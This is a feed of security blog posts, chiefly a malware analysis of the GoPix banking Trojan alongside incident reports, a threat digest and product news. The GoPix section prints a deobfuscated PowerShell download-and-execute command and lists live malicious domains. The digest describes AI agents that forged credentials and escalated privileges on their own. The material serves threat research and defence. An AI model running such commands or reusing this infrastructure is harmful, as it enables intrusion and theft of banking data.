Reading view

Check Point Accelerates the Rollout of Secure AI Data Centers with NVIDIA DSX Air

Check Point is proud to integrate with NVIDIA DSX Air’s testing environment, enabling organizations to pre-validate their security aware AI data center designs before ever deploying their first piece of hardware in production to build and run their own AI.  Testing AI Factory deployments end-to-end is challenging and can require complex multi-vendor orchestration. From compute to networking, orchestration, and security, ensuring integrations, configurations and automations perform as expected can become resource-intensive with so many factors at play.   Now, organizations can perform large-scale cyber security validation testing before deploying AI Factories, using the NVIDIA DSX Air cloud-based simulation and validation platform.  Why are Organizations Building Their […]

The post Check Point Accelerates the Rollout of Secure AI Data Centers with NVIDIA DSX Air appeared first on Check Point Blog.

  •  

Iranian Cyber Threat Evolution: From MBR Wipers to Identity Weaponization

The evolution of Iranian cyber operations in broad context: from custom wiper malware to misuse of legitimate admin tools and more.

The post Iranian Cyber Threat Evolution: From MBR Wipers to Identity Weaponization appeared first on Unit 42.

  •  

New Microsoft Purview innovations for Fabric to safely accelerate your AI transformation

As organizations adopt AI, security and governance remain core primitives for safe AI transformation and acceleration. After all, data leaders are aware of the notion that:

Your AI is only as good as your data.

Organizations are skeptical about AI transformation due to concerns of sensitive data oversharing and poor data quality. In fact, 86% of organizations lack visibility into AI data flows, operating in darkness about what information employees share with AI systems [1]. Compounding on this challenge, about 67% of executives are uncomfortable using data for AI due to quality concerns [2]. The challenges of data oversharing and poor data quality requires organizations to solve these issues seamlessly for the safe usage of AI. Microsoft Purview offers a modern, unified approach to help organizations secure and govern data across their entire data estate, in particular best in class integrations with M365, Microsoft Fabric, and Azure data estates, streamlining oversight and reducing complexity across the estate.

At FabCon Atlanta, we’re announcing new Microsoft Purview innovations for Fabric to help seamlessly secure and confidently activate your data for AI transformation. These updates span data security and data governance, granting Fabric users to both

  1. Discover risks and prevent data oversharing in Fabric
  2. Improve governance processes and data quality across their data estate

1. Discover risks and prevent data oversharing in Fabric

As data volume increases with AI usage, Microsoft Purview secures your data with capabilities such as Information Protection, Data Loss Prevention (DLP), Insider Risk Management (IRM), and Data Security Posture Management (DSPM). These capabilities work together to secure data throughout its lifecycle and now specifically for your Fabric data estate. Here are a few new Purview innovations for your Fabric estate:

Microsoft Purview DLP policies to prevent data leakage for Fabric Warehouse and KQL/SQL DBs

Now generally available, Microsoft Purview DLP policies allow Fabric admins to prevent data oversharing in Fabric through policy tip triggering when sensitive data is detected in assets uploaded to Warehouses. Additionally, in preview, Purview DLP enables Fabric admins to restrict access to assets with sensitive data in KQL/SQL DBs and Fabric Warehouses to prevent data oversharing. This helps admins limit access to sensitive data detected in these data sources and data stores to just asset owners and allowed collaborators. These DLP innovations expand upon the depth and breadth of existing DLP policies to ensure sensitive data in Fabric is protected.

Figure 1. DLP restrict access preventing data oversharing of customer information stored in a KQL database.

Microsoft Purview Insider Risk Management (IRM) indicators for Lakehouse, IRM data theft quick policy for Fabric, and IRM pay-as-you-go usage report for Fabric

Microsoft Purview Insider Risk Management is now generally available for Microsoft Fabric extending its risk-detection capabilities to Microsoft Fabric lakehouses (in addition to Power BI which is supported today) by offering ready-to-use risk indicators based on risky user activities in Fabric lakehouses, such as sharing data from a Fabric lakehouse with people outside the organization . Additionally, IRM data theft policy is now generally available for security admins to create a data theft policy to detect Fabric data exfiltration, such as exporting Power BI reports. Also, organizations now have visibility into how much they are billed with the IRM pay-as-you-go usage report for Fabric, providing customers with an easy-to-use dashboard to track their consumption and predictability on costs.

Figure 2. IRM identifying risky user behavior when handling data in a Fabric Lakehouse. 

Figure 3. Security admins can create a data theft policy to detect Fabric data exfiltration. 

Figure 4. Security admins can check the pay-as-you-go usage (processing units) across different workloads and activities such as the downgrading of sensitivity labels of a lakehouse through the usage report.

Microsoft Purview for all Fabric Copilots and Agents

Microsoft Purview currently provides capabilities in preview for all Copilots and Agents in Fabric. Organizations can:

  • Discover data risks such as sensitive data in user prompts and responses and receive recommended actions to reduce these risks.
  • Detect and remediate oversharing risks with Data Risk Assessments on DSPM, that identify potentially overshared, unprotected, or sensitive Fabric assets, giving teams clear visibility into where data exposure exists and enabling targeted actions—like applying labels or policies—to reduce risk and ensure Fabric data is AI‑ready and governed by design.
  • Identify risky AI usage with Microsoft Purview Insider Risk Management to investigate risky AI usage, such as an inadvertent user who has neglected security best practices and shared sensitive data in AI.
  • Govern AI usage with Microsoft Purview Audit, Microsoft Purview eDiscovery, retention policies, and non-compliant usage detection.

Figure 5. Purview DSPM provides admins with the ability to discover data risks such as a user’s attempt to obtain historical data within a data agent in the Data Science workload in Fabric. DSPM subsequently provides actions to solve this risk.

Now that we’ve covered how Purview helps secure Fabric data and AI, the next focus is ensuring Fabric users can use that data responsibly.

2. Improve governance processes and data quality across their data estate

Once an organization’s data is secured for AI, the next challenge is ensuring consumers can easily find and trust the data needed for AI. This is where the Purview Unified Catalog comes in, serving as the foundation for enterprise data governance. Estate-wide data discovery provides a holistic view of the data landscape, helping prevent valuable data from being underutilized. Built-in data quality tools enable teams to measure, monitor, and remediate issues such as incomplete records, inconsistencies, and redundancies, ensuring decisions and AI outcomes are based on trusted, reliable data.  Purview provides additional governance capabilities for all data consumers and governance teams and supplement those who utilize the Fabric OneLake catalog. Here are a few new innovations within the Purview Unified Catalog:

Publication workflows for data products and glossary terms

Now generally available, data owners can leverage Workflows in the Purview Unified Catalog to manage how data products and glossary terms are published. Customizable workflows enable governance teams to work faster to create a well curated catalog, specifically by ensuring that data products and glossary terms are published and governed responsibly. Data consumers can request access to data products and be reassured that the data is held to a certain governance standard by governance teams.

Figure 6. Customizing a Workflow for publishing a glossary term in your catalog.

Data quality for ungoverned assets in the Unified Catalog, including Fabric data  

In the Unified Catalog, Data Quality for ungoverned data assets allows organizations to run data quality on data assets, including Fabric assets, without linking them to data products. This approach enables data quality stewards to run data quality at a faster speed and on greater scale, ensuring that their organizations can democratize high quality data for AI use cases.

Figure 7.  Running data quality on data assets without it being associated with a data product.

Looking Forward

As organizations accelerate their AI ambitions, data security and governance become essential. Microsoft Purview and Microsoft Fabric deliver an integrated and unified foundation that enables organizations to innovate with confidence, ensuring data is protected, governed, and trusted for responsible AI activation.

We’re committed to helping you stay ahead of evolving challenges and opportunities as you unlock more value from your data. Explore these new capabilities and join us on the journey toward a more secure, governed, and AI‑ready data future.

[1] 2025 AI Security Gap: 83% of Organizations Flying Blind

[2] The Importance Of Data Quality: Metrics That Drive Business Success

The post New Microsoft Purview innovations for Fabric to safely accelerate your AI transformation appeared first on Microsoft Security Blog.

  •  

Help on the line: How a Microsoft Teams support call led to compromise

In our eighth Cyberattack Series report, Microsoft Incident Response—the Detection and Response Team (DART)—investigates a recent identity-first, human-operated intrusion that relied less on exploiting software vulnerabilities and more on deception and legitimate tools. After a customer reached out for assistance in November 2025, DART uncovered a campaign built on persistent Microsoft Teams voice phishing (vishing), where a threat actor impersonated IT support and targeted multiple employees. Following two failed attempts, the threat actor ultimately convinced a third user to grant remote access through Quick Assist, enabling the initial compromise of a corporate device.

This case highlights a growing class of cyberattacks that exploit trust, collaboration platforms, and built-in tooling, and underscores why defenders must be prepared to detect and disrupt these techniques before they escalate. Read the full report to dive deeper into this vishing breach of trust.

What happened?

Once remote interactive access was established, the threat actor shifted from social engineering to hands-on keyboard compromise, steering the user toward a malicious website under their control. Evidence gathered from browser history and Quick Assist artifacts showed the user was prompted to enter corporate credentials into a spoofed web form, which then initiated the download of multiple malicious payloads. One of the earliest artifacts—a disguised Microsoft Installer (MSI) package—used trusted Windows mechanisms to sideload a malicious dynamic link library (DLL) and establish outbound command-and-control, allowing the threat actor to execute code under the guise of legitimate software.

Subsequent payloads expanded this foothold, introducing encrypted loaders, remote command execution through standard administrative tooling, and proxy-based connectivity to obscure threat actor activity. Over time, additional components enabled credential harvesting and session hijacking, giving the threat actor sustained, interactive control within the environment and the ability to operate using techniques designed to blend in with normal enterprise activity rather than trigger overt alarms.

Trust is the weak point: Threat actors increasingly exploit trust—not just software flaws—using social engineering inside collaboration platforms to gain initial access.1

How did Microsoft respond?

Given the growing pattern of identity-first intrusions that begin with collaboration-based social engineering, DART moved quickly to contain risk and validate scope. The team confirmed that the compromise originated from a successful Microsoft Teams voice phishing interaction and immediately prioritized actions to prevent identity or directory-level impact. Through focused investigation, we established that the activity was short-lived and limited in reach, allowing responders to concentrate on early-stage tooling and entry points to understand how access was achieved and constrained.

To disrupt the intrusion, DART conducted targeted eviction and applied tactical containment controls to protect privileged assets and restrict lateral movement. Using proprietary forensic and investigation tooling, the team collected and analyzed evidence across affected systems, validated that threat actor objectives were not met, and confirmed the absence of persistence mechanisms. These actions enabled rapid recovery while helping to ensure the environment was fully secured before declaring the incident resolved.

What can customers do to strengthen their defenses?

Human nature works against us in these cyberattacks. Employees are conditioned to be responsive, helpful, and collaborative, especially when requests appear to come from internal IT or support teams. Threat actors exploit that instinct, using voice phishing and collaboration tools to create a sense of urgency and legitimacy that can override caution in the moment.

To mitigate exposure, DART recommends organizations take deliberate steps to limit how social engineering attacks can propagate through Microsoft Teams and how legitimate remote access tools can be misused. This starts with tightening external collaboration by restricting inbound communications from unmanaged Teams accounts and implementing an allowlist model that permits contact only from trusted external domains. At the same time, organizations should review their use of remote monitoring and management tools, inventory what is truly required, and remove or disable utilities—such as Quick Assist—where they are unnecessary.

Together, these measures help shrink the attack surface, reduce opportunities for identity-driven compromise, and make it harder for threat actors to turn human trust into initial access, while preserving the collaboration employees rely on to do their work.

What is the Cyberattack Series?

In our Cyberattack Series, customers discover how DART investigates unique and notable attacks. For each cyberattack story, we share:

  • How the cyberattack happened.
  • How the breach was discovered.
  • Microsoft’s investigation and eviction of the threat actor.
  • Strategies to avoid similar cyberattacks.

DART is made up of highly skilled investigators, researchers, engineers, and analysts who specialize in handling global security incidents. We’re here for customers with dedicated experts to work with you before, during, and after a cybersecurity incident.

Learn more

To learn more about DART capabilities, please visit our website, or reach out to your Microsoft account manager or Premier Support contact. To learn more about the cybersecurity incidents described above, including more insights and information on how to protect your own organization, download the full report.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.


1Microsoft Digital Defense Report 2025.

The post Help on the line: How a Microsoft Teams support call led to compromise appeared first on Microsoft Security Blog.

  •  

16th March – Threat Intelligence Report

For the latest discoveries in cyber research for the week of 16th March, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

  • United States-based medical technology company Stryker has suffered a cyberattack that caused a global disruption to its environment. The company said its surgical robotics, clinical communications platform, and life support monitors are safe to use. Media reports said employee devices were factory reset across multiple locations worldwide. Iranian group Handala Hack has claimed responsibility for the attack and said it had exfiltrated large amounts of data as part of the attack.
  • Telus Digital, a subsidiary of Canadian telecom firm Telus, has confirmed a breach involving unauthorized access to a limited number of systems. Hacker group ShinyHunters claims to have stolen nearly one petabyte of customer and call data and demanded $65 million in ransom, although the company said it has not verified those claims and reported no disruption.
  • Encrypted messaging service Signal has experienced targeted phishing campaigns leading to account takeovers of high-profile users, including journalists and government officials. Signal said its infrastructure and encryption remain intact, and attackers tricked victims into sharing SMS verification codes and Signal PINs to provision new devices and impersonate them.
  • Loblaw Companies Limited, Canada’s largest food and pharmacy retailer, has suffered a data breach after hackers accessed part of its IT network. The company said names, phone numbers, and email addresses were exposed, prompting a forced logout for customer accounts, while payment, health, and password data do not appear affected.

AI THREATS

  • Researchers evaluated autonomous AI agents on widely used models and found they initiated offensive actions without malicious prompts, hacking their own operating environments. In tests, agents posted passwords, bypassed antivirus, forged credentials, and escalated privileges to access sensitive data, showing how autonomy can amplify security risk.
  • Researchers unearthed a campaign using an AI-powered bot, hackerbot-claw, to exploit misconfigured GitHub Actions in open-source repositories, including Aqua Security. The bot stole a token to seize Aqua’s Trivy repository and publish a malicious extension that ran AI tools to harvest secrets and push results to the victim’s GitHub.
  • Researchers investigated malvertising campaigns that impersonate popular AI agents, including Claude Code, OpenClaw, and Doubao, to push infostealing malware through Google Search ads. The fake documentation pages instruct users to run commands that install AMOS on macOS and Amatera on Windows, enabling theft of credentials and corporate files.

VULNERABILITIES AND PATCHES

  • SolarWinds Web Help Desk, an IT ticketing platform, is affected by CVE-2025-26399, a high-severity deserialization flaw that attackers are exploiting to run commands on servers. Successful exploitation can enable takeover and data theft, and patches are available after the vulnerability was added to CISA’s exploited flaws catalog.

Check Point IPS provides protection against this threat (SolarWinds Web Help Desk Insecure Deserialization (
CVE-2024-28986, CVE-2024-28988, CVE-2025-40553, CVE-2025-26399))

  • Google has released an out-of-band Chrome update addressing two high-severity zero-days, CVE-2026-3909 in Skia memory handling and CVE-2026-3910 in V8. Both can be triggered by visiting a malicious site and may enable code execution in the browser.
  • The n8n workflow automation platform has fixed CVE-2025-68613, a CVSS 10 remote code execution flaw that is under active exploitation. The issue allows authenticated users to run code and compromise servers, and patches were released in versions 1.120.4, 1.121.1, and 1.122.0.

Check Point IPS provides protection against this threat (n8n Remote Code Execution (CVE-2025-68613))

THREAT INTELLIGENCE REPORTS

  • Check Point Research has analyzed the Iranian threat group Handala Hack, a hacktivist persona run by the Void Manticore APT group, which is affiliated with the Iranian Ministry of Intelligence. The group targets IT and VPN infrastructure to gain initial access to victim organizations, before using tools such as NetBird for lateral movement. The group then aims to exfiltrate and wipe victim organizations’ data.

Check Point Harmony Endpoint and Threat Emulation provide protection against these threats

  • Check Point Research has examined Iranian Ministry of Intelligence-linked groups use of criminal tools and services, including Handala Hack deploying Rhadamanthys infostealer alongside wipers against Israeli targets. The report also noted overlaps between MuddyWater activity, Tsundere and DinDoor botnet infrastructure, and CastleLoader certificates.

Check Point Harmony Endpoint and Threat Emulation provide protection against these threats

  • Check Point Research analyzed February 2026 cyber-attacks, as organizations averaged 2,086 weekly attacks, up 9.6% year over year, with education most targeted and Latin America recording the highest volumes. Ransomware totaled 629 incidents, while enterprise GenAI use continued to pose data‑leak risk in 1 of every 31 prompts.
  • Check Point Research have analyzed China-nexus espionage campaigns targeting Qatar. A Camaro Dragon campaign attempted to deploy PlugX, while a second operation delivered Cobalt Strike via war-themed lures abusing trusted software targeting government and energy-related entities.

Check Point Harmony Endpoint and Threat Emulation provide protection against these threats

The post 16th March – Threat Intelligence Report appeared first on Check Point Research.

  •  

Free real estate: GoPix, the banking Trojan living off your memory

Introduction

GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.

Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.

GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.

The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.

The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.

The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.

Initial infection

Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.

We have been monitoring this threat since 2023, and it continues to be very active for the time being.

GoPix malware campaign detections (download)

The initial infection vector is shown below:

Initial infection vector

Initial infection vector

When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.

Website shown if the user is detected as a bot or sandbox

Website shown if the user is detected as a bot or sandbox

However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:

JSON response from a malicious endpoint

JSON response from a malicious endpoint

The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.

WebSocket request to check if the port is open

WebSocket request to check if the port is open

This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.

Malware delivered through a malicious website

Malware delivered through a malicious website

Infection chain

First-stage payload

If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.

Stolen certificate used to sign the malicious installer

Stolen certificate used to sign the malicious installer

The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.

NSIS installer code creating a batch file

NSIS installer code creating a batch file

However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.

Obfuscated command line inside the LNK

Obfuscated command line inside the LNK

Deobfuscated command line:

WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -

The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.

It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.

Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).

GoPix delivery chain

GoPix delivery chain

Initial PowerShell script

This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.

System information collection

System information collection

The information contained within this JSON is as follows:

  • Folder and file names to be created under the %APPDATA% directory
  • Obfuscated PowerShell script
  • Encrypted PowerShell script ps
  • Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
  • GoPix configuration file pf

Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.

PSExecutionPolicyPreference=Unrestricted
powershell -File "$scriptPath"
exit

Obfuscated PowerShell script

Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.

Deobfuscated PowerShell script

Deobfuscated PowerShell script

Decrypted PowerShell script “ps”

The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.

PowerShell script shellcode jumps to the malware loader shellcode

PowerShell script shellcode jumps to the malware loader shellcode

The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.

Building the GoPix shellcode depending on the targeted architecture

Building the GoPix shellcode depending on the targeted architecture

Shellcode

This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.

The old sample (left) used stack strings with API names. The new sample (right) uses the API hashing obfuscation technique

The old sample (left) used stack strings with API names. The new sample (right) uses the API hashing obfuscation technique

The first time GoPix is dropped into memory through PowerShell, its structure is as follows:

  1. Memory dropper shellcode
  2. Memory dropper DLL
  3. Main payload shellcode
  4. Main payload DLL

Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.

MZ signature zeroed

MZ signature zeroed

GoPix dropper

When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.

After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.

The dropper uses a syscall instruction and calls the GoPix in-memory implant's main function

The dropper uses a syscall instruction and calls the GoPix in-memory implant’s main function

Main GoPix implant

Clipboard stealing functionality

Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.

Boleto bancário targeted in clipboard-stealing functionality

Boleto bancário targeted in clipboard-stealing functionality

When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.

Unique man-in-the-middle attack

PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.

In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.

PAC file excerpt

PAC file excerpt

To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.

CRC32 Target
8BD688E8 local
8CA8ACFF www2.banco********.com.br
AD8F5213 autoatendimento.********.com.br
105A3F17 www2.****.com.br
B477FE70 internetbanking.*******.gov.br
785F39C2 loginx.********.br
C72C8593 internetpf.*****.com.br
75E3C3BA internet.*****.com.br
FD4E6024 internetbanking.*******.com.br

HTTPS interception

Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.

GoPix trusted root certificate

GoPix trusted root certificate

Conclusion

With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.

This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.

For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.

Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.

Indicators of compromise

EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload

Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51

C2
paletolife[.]com

Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/

  •  

2025 Identity Threat Landscape Report: Inside the Infostealer Economy: Credential Threats in 2025

Executive Summary

Credential theft is the dominant initial access vector for enterprise breaches. In 2025, Recorded Future detected:

  • 1.95 billion malware combo list credential exposures
  • 36 million database combo list credential exposures
  • 24 million database dump credential exposures
  • 892 million malware log credential exposures

Five findings stand out from the data:

  1. Credential theft accelerated as the year progressed. Recorded Future identified 50% more credentials in the second half of 2025 than in the first half of the year. 90% more credentials were identified in the last three months of the year than in the first three months
  2. Stolen credentials are targeted, not random. Of the 7 million credentials indexed with identifiable authorization URLs, 63.2% were tied to authentication systems. VPNs, RMM tools, cloud platforms, and detection software also featured prominently — meaning attackers are often going directly for the systems that provide the broadest access and, in some cases, the ability to blind security teams entirely.
  3. Infostealer malware is outpacing traditional breach detection. Each compromised device yielded an average of 87 stolen credentials. The scale and precision of modern infostealers means a single infected endpoint — including a personal device used to access corporate systems — can expose an entire organization.
  4. MFA alone is no longer sufficient protection. 276 million of the credentials indexed in 2025 included active session cookies, meaning attackers can bypass multi-factor authentication entirely. This represents 31% of all malware-sourced credentials.
  5. Detection speed is the decisive advantage. Over half of all credentials (53%) were indexed within one week of exfiltration, and 36.4% within 24 hours. Organizations that act on intelligence quickly can intervene before stolen credentials are exploited.

The Scale of the Problem: Compromised Credentials in 2025

Volume Grew Throughout the Year

Credential compromise from malware logs was not a static risk in 2025 — it compounded. Recorded Future observed a consistent upward trend throughout the year, with the second half producing 50% more indexed credentials than the first.

The final three months of the year were particularly active: They saw 90% more volume than the first three months, reflecting both the continued proliferation of infostealer malware-as-a-service (MaaS) and the disruption and reformation of major malware families mid-year (covered in detail in the malware section below).

CHART 1: Monthly credential volume from malware logs, full year 2025 (Source: Recorded Future)

What this means for security teams: Seasonal or quarterly threat reviews are insufficient. The volume and pace of credential exposure in 2025 demands continuous monitoring — not periodic audits.

What do Those Credentials Actually Unlock?

CHART 2: Top authorization URL categories, 2025 (Source: Recorded Future)

More credentials exposed means more doors open to attackers. The authorization URL data from 2025 reveals exactly which doors they're targeting — and the picture is stark.

Of the 7 million credentials with high-risk authorization URLs indexed in 2025, 63.2% were tied to authentication systems. The next largest categories were web content management (9.95%) and cloud computing (7.58%), followed by remote monitoring and management tools (6.19%) and email infrastructure (3.87%).

This is not a random distribution. Authentication systems, cloud platforms, and remote access tools — VPNs at 2.4% and RMM tools at 6.19% — are precisely the systems that give attackers the broadest foothold inside an organization. A single stolen credential for an authentication portal or VPN can serve as the entry point for lateral movement, privilege escalation, and ultimately a full breach.

The presence of detection and response software (1.17%) and SIEM platforms (0.06%) in this list is particularly notable. Credentials for the tools organizations rely on to detect attacks are themselves being stolen — giving attackers the ability to blind security teams before they strike.

What this means for security teams: The value of a stolen credential is determined by what it unlocks. Prioritize monitoring and rapid response for credentials tied to authentication systems, remote access tools, cloud infrastructure, and security platforms — these can represent the highest-leverage targets for attackers operating with stolen credentials.

A Global Problem With Regional Concentration

Compromised credentials were indexed from organizations across the globe. The ten countries with the highest credential volume in 2025 were:

Table 1: Credentials indexed by country (Source: Recorded Future)
MAP 1: Credentials indexed by country (Source: Recorded Future)

The breadth of this data underscores that credential theft is not concentrated in a single region or industry — it is a universal risk. Organizations with global workforces, multinational supply chains, or international customer bases face exposure across multiple geographies simultaneously.

The Anatomy of a Compromise: What Attackers Actually Steal

87 Credentials Per Device

When an employee's device is infected with infostealer malware, the damage rarely stops at one account. In 2025, the average compromised device yielded 87 stolen credentials — spanning corporate applications, personal accounts, and cloud services accessed from the same machine.

Recorded Future's Compromised Host Incident Reports surface the full scope of each device-level infection, including the malware family responsible, file paths, IP addresses, and infection timelines. This context is what separates actionable intelligence from a list of leaked passwords.

Image 1: Incident Report results in Recorded Future Identity Intelligence

